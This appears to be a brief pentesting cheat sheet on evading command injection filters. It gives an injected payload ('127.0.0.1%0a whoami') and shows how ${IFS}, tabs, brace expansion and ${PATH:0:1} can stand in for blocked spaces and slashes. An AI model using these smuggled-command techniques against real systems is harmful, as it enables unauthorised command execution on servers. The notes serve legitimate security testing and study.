Bypassing Space Filters

%0a: Line feed (\n)

%0D: Carriage return

Example: 127.0.0.1%0a whoami

We can use tabs instead of spaces.

Using $IFS: ${IFS} will be replaced by a space.

Brace Expansion: Braced arguments are automatically considered as spaced, example: {ls,-la}

More space bypass: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection#bypass-without-space

Bypassing Other Blacklisted Characters

The most blacklisted character is ‘/’

Using PATH

echo ${PATH:0:1}